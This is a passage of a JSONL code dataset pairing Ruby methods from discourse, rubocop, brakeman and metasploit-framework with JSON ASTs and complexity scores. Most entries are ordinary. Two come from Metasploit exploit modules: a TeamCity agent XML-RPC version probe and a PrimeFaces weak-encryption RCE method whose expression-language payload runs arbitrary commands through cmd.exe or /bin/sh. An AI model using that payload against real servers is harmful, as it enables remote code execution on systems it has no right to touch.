bda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"checkable_layout?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alignment_for_hash_rockets\"]},\"any?\",{\"type\":\"lvar\",\"children\":[\"proc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alignment_for_colons\"]},\"any?\",{\"type\":\"lvar\",\"children\":[\"proc\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"check_pairs\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"50e7fb4d-312c-48a0-ad6b-3002d2c1200b"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/teamcity_agent_xmlrpc_exec.rb","start_line":141,"raw_source":"def determine_version\n xml_payload = %(\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodCall>\n <methodName>buildAgent.getVersion</methodName>\n <params></params>\n</methodCall>\n )\n res = send_request_cgi(\n {\n 'uri' => '/',\n 'method' => 'POST',\n 'ctype' => 'text/xml',\n 'data' => xml_payload.strip!\n },\n 10\n )\n\n if !res.nil? && res.code == 200\n xml_doc = res.get_xml_document\n if xml_doc.errors.empty?\n val = xml_doc.xpath('/methodResponse/params/param/value')\n if val.length == 1\n return val.text.to_i\n end\n end\n end\n return nil\n end","complexity_score":28.63,"ast_json":"{\"type\":\"def\",\"children\":[\"determine_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xml_payload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"]},{\"type\":\"str\",\"children\":[\"<methodCall>\\n\"]},{\"type\":\"str\",\"children\":[\" <methodName>buildAgent.getVersion</methodName>\\n\"]},{\"type\":\"str\",\"children\":[\" <params></params>\\n\"]},{\"type\":\"str\",\"children\":[\"</methodCall>\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"text/xml\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml_payload\"]},\"strip!\"]}]}]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xml_doc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_xml_document\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml_doc\"]},\"errors\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml_doc\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"/methodResponse/params/param/value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"text\"]},\"to_i\"]}]},null]}]},null]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"ee4a7a84-d61d-4756-a026-8dd72e741c66"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/imap/providers/generic.rb","start_line":127,"raw_source":"def store(uid, attribute, old_set, new_set)\n additions = new_set.reject { |val| old_set.include?(val) }\n imap.uid_store(uid, \"+#{attribute}\", additions) if additions.length > 0\n removals = old_set.reject { |val| new_set.include?(val) }\n imap.uid_store(uid, \"-#{attribute}\", removals) if removals.length > 0\n end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"store\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uid\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"old_set\"]},{\"type\":\"arg\",\"children\":[\"new_set\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"additions\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_set\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_set\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"additions\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"imap\"]},\"uid_store\",{\"type\":\"lvar\",\"children\":[\"uid\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"+\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]},{\"type\":\"lvar\",\"children\":[\"additions\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"removals\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_set\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_set\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removals\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"imap\"]},\"uid_store\",{\"type\":\"lvar\",\"children\":[\"uid\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]},{\"type\":\"lvar\",\"children\":[\"removals\"]}]},null]}]}]}","id":"a242c4f5-77f2-4bab-bfba-4535891bd386"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/cves.rb","start_line":54,"raw_source":"def test_CVE_2015_3226_workaround\n initializer = \"config/initializers/json.rb\"\n before_rescan_of [\"Gemfile\", initializer], \"rails4\" do\n replace \"Gemfile\", \"4.0.0\", \"4.2.1\"\n\n write_file initializer, <<-RUBY\n module ActiveSupport\n module JSON\n module Encoding\n private\n class EscapedString\n def to_s\n self\n end\n end\n end\n end\n end\n RUBY\n end\n\n assert_version \"4.2.1\"\n assert_no_warning :type => :warning,\n :warning_code => 87,\n :fingerprint => \"6c2281400c467a0100bcedeb122bc2cb024d09e538e18f4c7328c3569fff6754\",\n :warning_type => \"Cross-Site Scripting\",\n :line => 4,\n :message => /^Rails\\ 4\\.2\\.1\\ does\\ not\\ encode\\ JSON\\ keys\\ \\(C/,\n :confidence => 0,\n :relative_path => \"Gemfile\",\n :user_input => nil\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_CVE_2015_3226_workaround\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"initializer\",{\"type\":\"str\",\"children\":[\"config/initializers/json.rb\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"before_rescan_of\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Gemfile\"]},{\"type\":\"lvar\",\"children\":[\"initializer\"]}]},{\"type\":\"str\",\"children\":[\"rails4\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"replace\",{\"type\":\"str\",\"children\":[\"Gemfile\"]},{\"type\":\"str\",\"children\":[\"4.0.0\"]},{\"type\":\"str\",\"children\":[\"4.2.1\"]}]},{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"lvar\",\"children\":[\"initializer\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" module ActiveSupport\\n\"]},{\"type\":\"str\",\"children\":[\" module JSON\\n\"]},{\"type\":\"str\",\"children\":[\" module Encoding\\n\"]},{\"type\":\"str\",\"children\":[\" private\\n\"]},{\"type\":\"str\",\"children\":[\" class EscapedString\\n\"]},{\"type\":\"str\",\"children\":[\" def to_s\\n\"]},{\"type\":\"str\",\"children\":[\" self\\n\"]},{\"type\":\"str\",\"children\":[\" end\\n\"]},{\"type\":\"str\",\"children\":[\" end\\n\"]},{\"type\":\"str\",\"children\":[\" end\\n\"]},{\"type\":\"str\",\"children\":[\" end\\n\"]},{\"type\":\"str\",\"children\":[\" end\\n\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_version\",{\"type\":\"str\",\"children\":[\"4.2.1\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[87]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"6c2281400c467a0100bcedeb122bc2cb024d09e538e18f4c7328c3569fff6754\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Cross-Site Scripting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Rails\\\\ 4\\\\.2\\\\.1\\\\ does\\\\ not\\\\ encode\\\\ JSON\\\\ keys\\\\ \\\\(C\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"Gemfile\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"c6d6b154-b2cd-4829-9acd-6aea4c68e627"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/primefaces_weak_encryption_rce.rb","start_line":99,"raw_source":"def exploit\n cmd = payload.encoded\n\n # good for testing\n # cmd = \"whoami\"\n # error logs will show\n # Nov 13, 2024 7:10:32 PM org.primefaces.application.resource.StreamedContentHandler handle\n # SEVERE: Error in streaming dynamic resource. Cannot call sendError() after the response has been committed\n payload_wrapper = '${facesContext.getExternalContext().getResponse().setContentType(\"text/plain;charset=\\\"UTF-8\\\"\")}'\n payload_wrapper << '${session.setAttribute(\"scriptfactory\",\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance())}'\n payload_wrapper << '${session.setAttribute(\"scriptengine\",session.getAttribute(\"scriptfactory\").getEngineByName(\"JavaScript\"))}'\n payload_wrapper << '${session.getAttribute(\"scriptengine\").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'\n payload_wrapper << '${session.getAttribute(\"scriptengine\").eval('\n payload_wrapper << '\"var os = java.lang.System.getProperty(\\\"os.name\\\");'\n payload_wrapper << 'var proc = null;'\n payload_wrapper << 'os.toLowerCase().contains(\\\"win\\\")? '\n payload_wrapper << \"proc = new java.lang.ProcessBuilder[\\\\\\\"(java.lang.String[])\\\\\\\"]([\\\\\\\"cmd.exe\\\\\\\",\\\\\\\"/C\\\\\\\",\\\\\\\"#{cmd}\\\\\\\"]).start()\"\n payload_wrapper << \" : proc = new java.lang.ProcessBuilder[\\\\\\\"(java.lang.String[])\\\\\\\"]([\\\\\\\"/bin/sh\\\\\\\",\\\\\\\"-c\\\\\\\",\\\\\\\"#{cmd}\\\\\\\"]).start();\"\n payload_wrapper << 'var is = proc.getInputStream();'\n payload_wrapper << 'var sc = new java.util.Scanner(is,\\\"UTF-8\\\"); var out = \\\"\\\";'\n payload_wrapper << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);\")}'\n payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().flush()}'\n payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().close()}'\n\n vprint_status(\"Attempting to execute: #{cmd}\")\n res = http_send_command(payload_wrapper)\n fail_with(Failure::UnexpectedReply, 'Internal server error. Payload may be incompatible.') if res&.code == 500\n # successful exploitation gives us no response\n end","complexity_score":25.8,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_wrapper\",{\"type\":\"str\",\"children\":[\"${facesContext.getExternalContext().getResponse().setContentType(\\\"text/plain;charset=\\\\\\\"UTF-8\\\\\\\"\\\")}\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_wrapper\"]},\"<<\",{\"type\":\"str\",\"children\":[\"${session.setAttribute(\\\"scriptfactory\\\",\\\"\\\".getClass().forName(\\\"javax.script.ScriptEngineManager\\\").newInstance())}\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_wrapper\"]},\"<<\",{\"type\":\"str\",\"children\":[\"${session.setAttribute(\\\"scriptengine\\\",session.getAttribute(\\\"scriptfactory\\\").getEngineByName(\\\"JavaScript\\\"))}\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_wrapper\"]},\"<<\",{\"type\":\"str\",\"children\":[\"${session.getAttribute(\\\"scriptengine\\\").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_wrapper\"]},\"<<\",{\"type\":\"str\",\"children\":[\"${session.getAttribute(\\\"scriptengine\\\").eval(\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_wrapper\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\\"var os = java.lang.System.getProperty(\\\\\\\"os.name\\\\\\\");\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_wrapper\"]},\"<<\",{\"type\":\"str\",\"children\":[\"var proc = null;\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_wrapper\"]},\"<<\",{\"type\":\"str\",\"children\":[\"os.toLowerCase().contains(\\\\\\\"win\\\\\\\")? \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_wrapper\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"proc = new java.lang.ProcessBuilder[\\\\\\\"(java.lang.String[])\\\\\\\"]([\\\\\\\"cmd.exe\\\\\\\",\\\\\\\"/C\\\\\\\",\\\\\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\\\"]).start()\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_wrapper\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" : proc = new java.lang.ProcessBuilder[\\\\\\\"(java.lang.String[])\\\\\\\"]([\\\\\\\"/bin/sh\\\\\\\",\\\\\\\"-c\\\\\\\",\\\\\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\\\"]).start();\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_wrapper\"]},\"<<\",{\"type\":\"str\",\"children\":[\"var is = proc.getInputStream();\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_wrapper\"]},\"<<\",{\"type\":\"str\",\"children\":[\"var sc = new java.util.Scanner(is,\\\\\\\"UTF-8\\\\\\\"); var out = \\\\\\\"\\\\\\\";\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_wrapper\"]},\"<<\",{\"type\":\"str\",\"children\":[\"while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);\\\")}\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_wrapper\"]},\"<<\",{\"type\":\"str\",\"children\":[\"${facesContext.getExternalContext().getResponse().getWriter().flush()}\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_wrapper\"]},\"<<\",{\"type\":\"str\",\"children\":[\"${facesContext.getExternalContext().getResponse().getWriter().close()}\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to execute: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"http_send_command\",{\"type\":\"lvar\",\"children\":[\"payload_wrapper\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[500]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Internal server error. Payload may be incompatible.\"]}]},null]}]}]}","id":"52708aad-4bdd-4643-831e-d723ab1670e4"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_around_operators.rb","start_line":270,"raw_source":"def hash_table_style?\n return false unless align_hash_cop_config\n\n enforced_styles = Array(align_hash_cop_config['EnforcedHashRocketStyle'])\n enforced_styles.include?('table')\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"hash_table_style?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"align_hash_cop_config\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"enforced_styles\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"align_hash_cop_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EnforcedHashRocketStyle\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enforced_styles\"]},\"include?\",{\"type\":\"str\",\"children\":[\"table\"]}]}]}]}","id":"8dbb540b-83c5-42a2-8b66-b75ad926e108"} {"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20150123145128_add_automatic_membership_to_group.rb","start_line":4,"raw_source":"def change\n add_column :groups, :automatic_membership_email_domains, :text\n add_column :groups, :automatic_membership_retroactive, :boolean, default: false\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"groups\"]},{\"type\":\"sym\",\"children\":[\"automatic_membership_email_domains\"]},{\"type\":\"sym\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"groups\"]},{\"type\":\"sym\",\"children\":[\"automatic_membership_retroactive\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"7a7e5bc9-6ab2-431b-a474-fe17f532cb04"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-openid-connect/lib/openid_connect_authenticator.rb","start_line":81,"raw_source":"def register_middleware(omniauth)\n omniauth.provider :openid_connect,\n name: :oidc,\n error_handler:\n lambda { |error, message|\n handlers = SiteSetting.openid_connect_error_redirects.split(\"\\n\")\n handlers.each do |row|\n parts = row.split(\"|\")\n return parts[1] if message.include? parts[0]\n end\n nil\n },\n verbose_logger: lambda { |message| oidc_log(message) },\n setup:\n lambda { |env|\n opts = env[\"omniauth.strategy\"].options\n\n token_params = {}\n token_params[\n :scope\n ] = SiteSetting.openid_connect_token_scope if SiteSetting.openid_connect_token_scope.present?\n\n opts.deep_merge!(\n client_id: SiteSetting.openid_connect_client_id,\n client_secret: SiteSetting.openid_connect_client_secret,\n discovery_document: discovery_document,\n scope: SiteSetting.openid_connect_authorize_scope,\n token_params: token_params,\n passthrough_authorize_options:\n SiteSetting.openid_connect_authorize_parameters.split(\"|\"),\n claims: SiteSetting.openid_connect_claims,\n pkce: SiteSetting.openid_connect_use_pkce,\n pkce_options: {\n code_verifier: -> { generate_code_verifier },\n code_challenge: ->(code_verifier) do\n generate_code_challenge(code_verifier)\n end,\n code_challenge_method: \"S256\",\n },\n )\n\n opts[:client_options][:connection_opts] = {\n request: {\n timeout: request_timeout_seconds,\n },\n }\n\n opts[:client_options][:connection_build] = lambda do |builder|\n if SiteSetting.openid_connect_verbose_logging\n builder.response :logger,\n Rails.logger,\n { bodies: true, formatter: OIDCFaradayFormatter }\n end\n\n builder.request :url_encoded # form-encode POST params\n builder.adapter FinalDestination::FaradayAdapter # make requests with FinalDestination::HTTP\n end\n }\n end","complexity_score":81.08,"ast_json":"{\"type\":\"def\",\"children\":[\"register_middleware\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"omniauth\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"omniauth\"]},\"provider\",{\"type\":\"sym\",\"children\":[\"openid_connect\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"oidc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_handler\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]},{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"handlers\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"openid_connect_error_redirects\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handlers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"split\",{\"type\":\"str\",\"children\":[\"|\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},null]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verbose_logger\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"oidc_log\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"setup\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"omniauth.strategy\"]}]},\"options\"]}]},{\"type\":\"lvasgn\",\"children\":[\"token_params\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"openid_connect_token_scope\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"openid_connect_token_scope\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"deep_merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"openid_connect_client_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_secret\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"openid_connect_client_secret\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"discovery_document\"]},{\"type\":\"send\",\"children\":[null,\"discovery_document\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"openid_connect_authorize_scope\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token_params\"]},{\"type\":\"lvar\",\"children\":[\"token_params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"passthrough_authorize_options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"openid_connect_authorize_parameters\"]},\"split\",{\"type\":\"str\",\"children\":[\"|\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"claims\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"openid_connect_claims\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pkce\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"openid_connect_use_pkce\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pkce_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\